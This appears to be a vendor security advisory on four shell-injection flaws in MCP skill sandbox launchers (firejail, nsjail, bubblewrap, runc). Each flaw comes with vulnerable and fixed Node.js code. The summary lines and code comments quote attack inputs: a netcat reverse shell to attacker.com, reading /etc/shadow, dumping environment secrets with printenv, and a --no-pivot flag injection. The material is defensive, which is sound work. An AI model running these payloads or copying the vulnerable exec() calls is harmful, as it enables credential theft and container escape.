Claude MCP skill code injection — skill sandbox execution and runtime isolation pipeline endpoints (SA-SKL-INJECTION72)
SA-SKL-INJECTION72 identifies four critical code injection vulnerabilities in MCP skill registry skill sandbox execution and runtime isolation pipeline endpoints where user-controlled values are interpolated into shell command strings passed to exec(). Shell metacharacters in a firejail profile name allow an attacker to run arbitrary commands on the sandbox host and exfiltrate /etc/shadow; a semicolon-injected nsjail config path spawns a reverse shell from the sandbox worker with full network access; a semicolon-injected bubblewrap bind path runs printenv and exfiltrates all environment variables including ANTHROPIC_API_KEY and cloud credentials; and a space-injected runc bundle path injects the --no-pivot flag that disables pivot_root namespace isolation, reducing the container escape barrier to a single filesystem traversal.
exec(`firejail --profile ${profileName} ${skillEntrypoint}`) — attacker profileName with ; cat /etc/shadow exfiltrates system credentials from sandbox hostexec(`nsjail --config ${configPath} -- node ${skillEntrypoint}`) — attacker configPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from sandbox workerexec(`bubblewrap --bind ${bindPath} / node ${skillEntrypoint}`) — attacker bindPath with ; printenv exfiltrates all env vars including ANTHROPIC_API_KEY and cloud credentialsexec(`runc run --bundle ${bundlePath} ${containerId}`) — attacker bundlePath with space-injected --no-pivot disabling pivot_root isolation enabling container escapeINJECTION72-001 — Firejail profile name shell injection exfiltrates /etc/shadow
The sandbox execution pipeline launches skill processes inside firejail by interpolating the profileName parameter directly into a shell command string passed to Node's exec(). Because exec() spawns a shell to interpret the command string, any shell metacharacter in profileName is executed. An attacker submits a profileName containing ; cat /etc/shadow; the shell interprets the semicolon as a command separator and executes cat /etc/shadow in the same process context as the sandbox worker, with the output captured and returned in the execution response. This provides the attacker with hashed system credentials for every account on the sandbox host, enabling offline password cracking against privileged accounts.
// INJECTION72-001 — VULNERABLE: profileName interpolated into exec() shell string
const { exec } = require('child_process');
async function runInFirejail(profileName, skillEntrypoint) {
return new Promise((resolve, reject) => {
// attacker profileName: "default; cat /etc/shadow"
exec(`firejail --profile ${profileName} ${skillEntrypoint}`,
(error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
}
);
});
}
// INJECTION72-001 — FIXED: execFile() with arg array; FIREJAIL_PROFILE_RE validates named profiles; env stripped
const { execFile } = require('child_process');
const path = require('path');
const FIREJAIL_PROFILE_RE = /^[a-z0-9_-]{1,64}$/;
const PROFILES_DIR = '/etc/firejail';
async function runInFirejail(profileName, skillEntrypoint) {
if (!FIREJAIL_PROFILE_RE.test(profileName)) {
throw new Error(`Invalid firejail profile name: ${profileName}`);
}
// Resolve to named profile file — rejects path traversal attempts
const profilePath = path.resolve(PROFILES_DIR, `${profileName}.profile`);
if (!profilePath.startsWith(PROFILES_DIR + '/')) {
throw new Error('Profile path traversal detected');
}
return new Promise((resolve, reject) => {
// execFile() does NOT spawn a shell — args are passed directly to execv()
execFile('firejail', ['--profile', profilePath, skillEntrypoint], {
env: { PATH: '/usr/local/bin:/usr/bin:/bin' } // strip all sensitive env vars
}, (error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
});
});
}
exec() spawns a shell; execFile() does not. This single API distinction is the root cause of all four findings in SA-SKL-INJECTION72. With exec(), every unsanitized interpolated value is a potential shell injection vector. Replace every sandbox invocation that uses exec() with execFile() and pass arguments as an array — no shell is spawned, no metacharacter interpretation occurs, and injection becomes structurally impossible regardless of argument content.
INJECTION72-002 — Nsjail config path injection establishes reverse shell from sandbox worker
The nsjail sandbox launcher interpolates a user-supplied configPath into an exec() shell command string. An attacker supplies a configPath value containing ; nc attacker.com 4444 -e /bin/sh; the shell interprets the semicolon and spawns a netcat reverse shell from the sandbox worker's network namespace back to the attacker's listener. Because the sandbox worker process typically has outbound network access to reach package registries, the netcat connection establishes successfully, giving the attacker an interactive shell inside the sandbox host's process tree with the worker's service account identity and all credentials that service account holds including cloud IAM role bindings.
// INJECTION72-002 — VULNERABLE: configPath interpolated into exec() shell string
const { exec } = require('child_process');
async function runInNsjail(configPath, skillEntrypoint) {
return new Promise((resolve, reject) => {
// attacker configPath: "/configs/default; nc attacker.com 4444 -e /bin/sh"
exec(`nsjail --config ${configPath} -- node ${skillEntrypoint}`,
(error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
}
);
});
}
// INJECTION72-002 — FIXED: execFile() with arg array; CONFIG_PATH_RE validates named configs; paths resolved to config root
const { execFile } = require('child_process');
const path = require('path');
const CONFIG_PATH_RE = /^[a-z0-9_-]{1,64}$/;
const NSJAIL_CONFIG_ROOT = '/etc/nsjail/configs';
async function runInNsjail(configName, skillEntrypoint) {
if (!CONFIG_PATH_RE.test(configName)) {
throw new Error(`Invalid nsjail config name: ${configName}`);
}
const configPath = path.resolve(NSJAIL_CONFIG_ROOT, `${configName}.cfg`);
if (!configPath.startsWith(NSJAIL_CONFIG_ROOT + '/')) {
throw new Error('Config path traversal detected');
}
return new Promise((resolve, reject) => {
execFile('nsjail', ['--config', configPath, '--', 'node', skillEntrypoint], {
env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
}, (error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
});
});
}
Accept a config name, not a config path. Accepting a filesystem path from user input and resolving it server-side creates path traversal risk on top of injection risk. Accept a symbolic config name (default, strict, network-isolated), validate it against a strict alphanumeric allowlist, then construct the full path internally. The user never controls any filesystem path component.
INJECTION72-003 — Bubblewrap bind path injection exfiltrates ANTHROPIC_API_KEY and cloud credentials
The bubblewrap sandbox launcher builds a bind mount command by interpolating a user-supplied bindPath into an exec() shell string. An attacker supplies bindPath containing ; printenv; the shell executes printenv in the sandbox worker process context and captures the full environment variable listing in the command output. The sandbox worker inherits the host process environment including ANTHROPIC_API_KEY, AWS or GCP credential environment variables set by the instance's service account, internal service-to-service tokens, and any other credentials injected via the container orchestrator's secret injection mechanism — all exfiltrated in a single command.
// INJECTION72-003 — VULNERABLE: bindPath interpolated into exec() shell string
const { exec } = require('child_process');
async function runInBubblewrap(bindPath, skillEntrypoint) {
return new Promise((resolve, reject) => {
// attacker bindPath: "/skills/abc123; printenv"
exec(`bubblewrap --bind ${bindPath} / node ${skillEntrypoint}`,
(error, stdout, stderr) => {
if (error) return reject(error);
// stdout contains full env dump including ANTHROPIC_API_KEY
resolve({ stdout, stderr });
}
);
});
}
// INJECTION72-003 — FIXED: execFile() with arg array; paths resolved to SANDBOX_BIND_ROOT; env stripped to PATH only
const { execFile } = require('child_process');
const path = require('path');
const SANDBOX_BIND_ROOT = '/var/skillaudit/sandboxes';
async function runInBubblewrap(bindDirName, skillEntrypoint) {
// bindDirName must be a UUID — no slashes, no semicolons
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/;
if (!UUID_RE.test(bindDirName)) {
throw new Error(`Invalid sandbox bind directory: ${bindDirName}`);
}
const bindPath = path.resolve(SANDBOX_BIND_ROOT, bindDirName);
if (!bindPath.startsWith(SANDBOX_BIND_ROOT + '/')) {
throw new Error('Bind path traversal detected');
}
return new Promise((resolve, reject) => {
execFile('bwrap', [
'--bind', bindPath, '/',
'--ro-bind', '/usr', '/usr',
'--proc', '/proc',
'--dev', '/dev',
'node', skillEntrypoint
], {
// Strip ALL env vars — pass only PATH
env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
}, (error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
});
});
}
Stripping the environment is a mandatory defence even after fixing the injection. Even with execFile(), a sandbox worker that inherits the full host environment hands its secrets to any code running inside the sandbox. Pass env: { PATH: '...' } explicitly to execFile() to strip all environment variables. Secrets required by the sandboxed skill should be injected via dedicated IPC after the sandbox process starts, never via inherited environment.
INJECTION72-004 — Runc bundle path space injection disables pivot_root container isolation
The runc container launcher interpolates a user-supplied bundlePath into an exec() shell string. Because shell word-splitting treats spaces as argument delimiters, an attacker supplies a bundlePath containing a space followed by --no-pivot; the shell splits this into two arguments and runc receives --no-pivot as a standalone flag before the actual bundle path. The --no-pivot flag disables pivot_root syscall-based filesystem namespace isolation, falling back to a weaker chroot-only approach that is bypassed with a known chroot escape technique — reducing the container escape to a filesystem traversal reachable by the skill code running inside the container.
// INJECTION72-004 — VULNERABLE: bundlePath with space enables --no-pivot flag injection
const { exec } = require('child_process');
async function runWithRunc(bundlePath, containerId) {
return new Promise((resolve, reject) => {
// attacker bundlePath: "/bundles/abc --no-pivot"
// shell splits: runc run --bundle /bundles/abc --no-pivot
exec(`runc run --bundle ${bundlePath} ${containerId}`,
(error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
}
);
});
}
// INJECTION72-004 — FIXED: execFile() with arg array; BUNDLE_PATH_RE rejects whitespace and leading dashes; paths resolved to BUNDLES_ROOT
const { execFile } = require('child_process');
const path = require('path');
const BUNDLES_ROOT = '/var/skillaudit/bundles';
// Reject whitespace, leading dashes, path separators, shell metacharacters
const BUNDLE_PATH_RE = /^[a-z0-9_-]{1,128}$/;
async function runWithRunc(bundleName, containerId) {
if (!BUNDLE_PATH_RE.test(bundleName)) {
throw new Error(`Invalid bundle name: ${bundleName}`);
}
const bundlePath = path.resolve(BUNDLES_ROOT, bundleName);
if (!bundlePath.startsWith(BUNDLES_ROOT + '/')) {
throw new Error('Bundle path traversal detected');
}
const CONTAINER_ID_RE = /^[a-z0-9_-]{1,128}$/;
if (!CONTAINER_ID_RE.test(containerId)) {
throw new Error(`Invalid container ID: ${containerId}`);
}
return new Promise((resolve, reject) => {
// execFile() — no shell, no word splitting, --no-pivot cannot be injected
execFile('runc', ['run', '--bundle', bundlePath, containerId], {
env: { PATH: '/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin' }
}, (error, stdout, stderr) => {
if (error) return reject(error);
resolve({ stdout, stderr });
});
});
}
Flag injection via space-delimited arguments is distinct from shell metacharacter injection. Even if you sanitize semicolons, pipes, and backticks, a space character in a path argument causes the shell to split it into separate tokens, one of which may be a valid command-line flag. execFile() eliminates this entirely because arguments are passed as an array — each array element maps to exactly one argument, with no shell interpretation or word-splitting occurring.
SkillAudit checks for all SA-SKL-INJECTION vulnerability patterns including exec() shell injection in sandbox launchers, flag injection via space-delimited arguments, path traversal in sandbox configuration paths, and missing environment stripping in sandboxed process execution. Get a graded report with line-level code fixes in 60 seconds.
Get a free audit